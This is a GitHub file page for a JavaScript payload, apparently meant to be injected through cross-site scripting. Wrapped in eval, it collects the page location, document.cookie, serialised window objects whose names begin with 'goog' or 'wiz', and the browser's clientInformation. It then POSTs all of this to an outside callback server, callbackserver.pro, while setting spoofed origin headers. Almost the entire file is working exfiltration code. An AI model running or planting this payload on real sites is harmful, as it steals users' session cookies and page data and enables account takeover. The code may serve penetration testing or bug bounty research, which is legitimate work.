-
Notifications
You must be signed in to change notification settings - Fork 0
/
POST_and_set_origin-DOMdata.js
56 lines (50 loc) · 2.5 KB
/
POST_and_set_origin-DOMdata.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// Description: Attempt to stringify and set new Origin (of your callback server) viaheaders then POST data to
// callback server
eval(`
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://callbackserver.pro/index.php?id=" + document.location + document.cookie, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("X-Origin", "https://callbackserver.pro");
xhr.setRequestHeader("Access-Control-Allow-Origin", "https://callbackserver.pro");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if (xhr.status >= 200 && xhr.status < 300) {
console.log("Request successful:", xhr.responseText);
} else {
console.error("CORS or network error:", xhr.status, xhr.statusText);
}
}
};
var dataToSend = [];
var searchPatterns = [/^goog/i, /^wiz/i]; // Modify these to match what objects your looking for
var seenObjects = new WeakSet();
Object.keys(window).forEach(function(key) {
if (searchPatterns.some(pattern => pattern.test(key))) {
var value = window[key];
if (typeof value === 'object' && value !== null) {
try {
if (!seenObjects.has(value)) {
seenObjects.add(value);
dataToSend.push(encodeURIComponent(key) + "=" + encodeURIComponent(JSON.stringify(value, function replacer(k, v) {
if (typeof v === 'object' && v !== null) {
if (seenObjects.has(v)) {
return; // Skip circular reference
}
seenObjects.add(v);
}
return v;
})));
}
} catch (e) {
console.error('Error serializing:', key, e);
}
} else {
dataToSend.push(encodeURIComponent(key) + "=" + encodeURIComponent(value));
}
}
});
if (typeof clientInformation !== 'undefined') { // Attempt to stringify and gather ClientInformation object from DOM to POST
dataToSend.push("clientInformation=" + encodeURIComponent(JSON.stringify(clientInformation))); }
var dataString = dataToSend.join("&");
xhr.send("cookie=" + encodeURIComponent(document.cookie) + "&" + dataString);
`);